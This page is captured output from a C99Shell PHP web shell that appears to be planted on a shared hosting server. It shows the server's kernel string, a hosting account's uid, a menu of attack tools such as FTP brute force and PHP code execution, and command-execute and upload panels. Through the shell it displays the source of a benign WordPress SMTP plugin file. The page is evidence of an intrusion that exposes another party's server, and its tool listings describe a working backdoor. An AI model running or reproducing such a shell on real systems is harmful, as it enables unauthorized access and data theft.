!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/gosmtp-pro/main/   drwxr-xr-x
Free 293.17 GB of 429.69 GB (68.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     email-reports.php (9.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

<?php
// We need the ABSPATH

if (!defined('ABSPATH')) exit;

// Styles and Scripts
wp_enqueue_style'gosmtp-admin' );
wp_enqueue_script'gosmtp-admin' );

function 
gosmtp_reports_table(){
    global 
$gosmtp;
    
    if(empty(
$gosmtp->options['logs']['enable_logs']) ){
        echo 
'<h1>Email report is disabled</h1>
            <div class="error is-dismissiable notice">
            <p>'
.__('To view email reports, please enable email logs from GoSMTP').' <a href="'.admin_url('admin.php?page=gosmtp#logs-settings').'">'.__('settings').'</a>.</p>
        </div>'
;
        return;
    }

    
$date gosmtp_optget('date');
    
$custom_start gosmtp_optget('start-date');
    
$custom_end gosmtp_optget('end-date');
    
$search gosmtp_optget('search_email_reports');
    
$multiselect gosmtp_optget('multiselect');
    
$all_data = array();

    
$logger = new GOSMTP\Logger();
        
    
// Appropriate date setup
    
if($date == 'custom_date'){
        
$start $custom_start;
        
$end $custom_end;
    
        if(
$start != '' && $end == ''){
            
$end date("Y-m-d");
        }
    }else if(
$date == 'all' || $date == ''){
        
$start '';
        
$end '';
    }else{
        
$start date('Y-m-d'strtotime('-'.$date.' days'));
        
$end date("Y-m-d");
    }

    
// Assign all data in option array
    
$options = array(
        
'interval' => array(
            
'start' => $start,
            
'end' => $end
        
), 
        
'search' => $search,
        
'multiselect' => $multiselect,
        
'pagination' => false,
    );

    
$email_logs $logger->get_logs('records'0$options);

    
// TODO: Get only records as paged
    
$mails gosmtp_group_by($email_logs);

    
// Pagination
    
$perpage 10;
    
$curpage = (int) gosmtp_optget('paged'1);
    
$records_ct count($mails);
    
$tpages ceil($records_ct $perpage);
    
$offset = ($curpage 1) * $perpage;

    
$args = array(
        
'base' => '%_%',
        
'format' => '?paged=%#%',
        
'total' => $tpages,
        
'current' => $curpage,
        
'show_all' => false,
        
'end_size' => 1,
        
'mid_size' => 2,
        
'prev_next' => true,
        
'type' => 'array',
        
'add_args' => false
    
);

    
// Set limit value
    
$limit = array(
        
'perpage' => $perpage,
        
'offset' => $offset,
    );

    
$pages paginate_links$args );

    
$table_cols = array(
        
'subject' => __('Subject'),
        
'from' => __('From'),
        
'to' => __('To'),
        
'resent_count' => __('Resent'),
        
'retries' => __('Retry'),
        
'sent' => __('Sent'),
        
'failed' => __('Failed'),
        
'total' => __('Total')
    );
?>

<div class="wrap">
    <div class="wrap_header gosmtp-relative">
        <h1><?php _e('Email Reports'?></h1>
    </div>
    <div class="gosmtp-upper-elements-container">
        <form action="<?php echo admin_url('admin.php'); ?>" method="get">
            <input type="hidden" name="page" value="email_reports">
            <div class="gosmtp-element-container">
                <div class=" gosmtp-report-search-container">
                    <div class="gosmtp-search-report-list-icon">
                        <span class="dashicons dashicons-search"></span>
                        <input type="search" id="gosmtp-search_email" placeholder="Search" name="search_email_reports"/>
                    </div>
                </div>
                <div class="gosmtp-fiter-main-container">
                    <div class="gosmtp-fiter-container">
                        <span class="multiselect"><?php _e('Select Filter'?></span>
                        <ul class="multiselect-options">
                            <li><input type='checkbox' class="multiselect-checkbox" id="all" value='all'><label for="all"><?php _e('Select all'?></label></li>
                            <li><input type='checkbox' class="multiselect-checkbox" id="subject" value='subject' name="multiselect[]"><label for="subject"><?php _e('Subject'?></label></li>
                            <li><input type='checkbox' class="multiselect-checkbox" id="from" value='from' name="multiselect[]"><label for="from"><?php _e('From'?></label></li> 
                            <li><input type='checkbox' class="multiselect-checkbox" id="to" value='to' name="multiselect[]"><label for="to"><?php _e('To'?></label></li>
                        </ul>
                        <span class="dropdown dashicons dashicons-arrow-down-alt2"></span>
                    </div>
                </div>
                <div class="gosmtp-date-option-container">
                    <select id="gosmtp-date-option-filter" name='date'>
                        <option value="all" selected disabled><?php _e('Select date'?></option>
                        <option value="7"><?php _e('Last 7 days'?></option>
                        <option value="14"><?php _e('Last 14 days'?></option>
                        <option value="30"><?php _e('Last 30 days'?></option>
                        <option value="custom_date"><?php _e('Custom date'?></option>
                    </select>
                    <div class='gosmtp-report-date-container'>
                        <input type="date" name="start-date" id="gosmtp-start-date" placeholder="Start date" /> 
                        <input type="date" name="end-date" id="gosmtp-end-date" placeholder="End date" />
                    </div>
                </div>
                <div class=" gosmtp-report-submit-container">
                    <input type="submit" class="button button-primary submit-email-reports" id="submit-email-reports" name="submit-email-reports" value="Search"/>
                </div>
            </div>    
        </form>
        <!-- <div class="graph-container">
            <canvas id="myChart"></canvas>
        </div> -->
    </div>    
    <table cellspacing="0" cellpadding="8" border="0" width="100%" class="gosmtp-email-report" id="gosmtp-email-reports">
        <tr>
            <td colspan="9">
                <h2><?php _e('Email Reports'?></h2>
            </td>
        </tr>
        <tr>
        <?php
        
foreach($table_cols as $col){
            echo 
'<th>'.$col.'</th>';
        }
        
?>
            <!-- <th><?php _e('Graph'?></th> -->
        </tr>
        <?php
        
// Mail list array
        
$mail_list gosmtp_group_by($email_logs$limit);
        
        
// Append HTML value
        
if(!empty($mail_list)){

            
$all_data = array();
            foreach(
$mail_list as $main_key => $mail){
                
                
$mail_array $mail['total'];
                    
                echo 
"<tr>";
                
                foreach(
$table_cols as $ck => $col){
                    echo 
'<td>'.$mail_array[$ck].'</td>';
                }
                
                echo 
'<!-- <td>
                        <span class ="dashicons dashicons-chart-area email_report_icon" data-data="'
.$main_key.'" onclick="gosmtp_load_graph([\"'.$main_key.'\"])"></span>
                    </td> -->
                </tr>'
;

                
// Add by date data in all data
                
array_push($all_data$mail['by_dates']);
            }
        }else{
            
// Empty all data when no result found 
            
$all_data = array();
        
?>
        <tr>
            <td colspan="9" class="gosmtp-empty-row"><?php _e('Records not found!'); ?></td>
        </tr>
        <?php 
        
}
    
?>
    </table>
    
    <?php 
    
// Render pagination HTML
    
if( is_array$pages ) ){
        echo 
'<div class="gosmtp-pagination"><ul class="gosmtp-pagination-wrap">';
        
        foreach ( 
$pages as $page ) {
            echo 
'<li class="gosmtp-pagination-links">'.$page.'</li>';
        }
        
        echo 
'</ul></div>';
    } 
    
?>
</div>
<script>
    var gosmtp_ajaxurl = "<?php echo admin_url'admin-ajax.php' ); ?>?";
    var gosmtp_ajax_nonce = "<?php echo wp_create_nonce('gosmtp_ajax'); ?>";
</script>

<?php
}

// Set Custom array
function gosmtp_set_custom_array($val){

    
$return = array();

    foreach(
$val as $kk => $vv){
        
        switch(
$kk){
            case 
'to':
                
$tos maybe_unserialize($vv);
                
$to_list = [];
                
                foreach(
$tos as $keys => $to){
                    
$to_list[] = $to[0];
                }
                
                
$return['total']['to'] = implode(','$to_list);
                break;
            case 
'status':
                if(
$vv == 'sent'){
                    
$return['total']['sent'] = 1;
                    
$return['total']['failed'] = 0;
                }elseif(
$vv == 'failed'){
                    
$return['total']['sent'] = 0;
                    
$return['total']['failed'] = 1;
                }
                break;
            case 
'subject'
                
$return['total'][$kk] = empty($vv) ? '[No Subject]' $vv;
                    break;
            default:
                
$return['total'][$kk] = $vv;
        }
        
    }
    
    
$return['total']['total'] = $return['total']['sent'] + $return['total']['failed'];

    
$return['by_dates'][$val->created_at] = array(
        
'sent' => $return['total']['sent'],
        
'failed' => $return['total']['failed'],
        
'retries' => $return['total']['retries'],
        
'resent_count' => $return['total']['resent_count'],
        
'total' => $return['total']['total'],
    );
    
    return 
$return;

}

// Generate Array with group by
function gosmtp_group_by($logs$limit = array(), $multiselect = array('subject''from''to')){
    
    
$groups = array();
    
$i 0;
    
$key_array = array();

    if(empty(
$logs)){
        return array();
    }
    
    foreach(
$logs as $val){
        
        
$val gosmtp_set_custom_array($val);
        
$total $val['total'];
        
        
$groups_val = array();
        foreach(
$multiselect as $multi_val){
            
array_push($groups_val$total[$multi_val]);
        }

        
// Add new group
        
if(!in_array($groups_val$key_array)){
            
            
$key_array[$i] = $groups_val;
            
            
$groups[$i]['total'] = $val['total'];
            
$groups[$i]['by_dates'] = $val['by_dates'];
            
$i++;
        
        }else{
            foreach(
$key_array as $kk => $vv){
                
                if(
$groups_val != $vv){
                    continue;
                }
                
                
$group_total $groups[$kk]['total'];
                
                
$total['sent'] = $group_total['sent'] + $total['sent'];
                
$total['failed'] = $group_total['failed'] + $total['failed'];
                
$total['retries'] = $group_total['retries'] + $total['retries'];
                
$total['resent_count'] = $group_total['resent_count'] + $total['resent_count'];
                
$total['total'] = $group_total['total'] + $total['total'];
                
                
$groups[$kk]['total'] = $total;
                
$groups[$kk]['by_dates'][array_keys($val['by_dates'])[0]] = $val['by_dates'][array_keys($val['by_dates'])[0]];
            }
        }
    }

    
// Set limit for Pagination
    
if(!empty($limit)){
        
        
$limit_res = array();
        
        for(
$i 0$i$limit['perpage']; $i++){
            
$j $i+$limit['offset'];    

            if(isset(
$groups[$j])){
                
array_push($limit_res$groups[$j] );
            }
        }
        
        
$groups $limit_res;
    }
    
    return 
$groups;           
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0973 ]--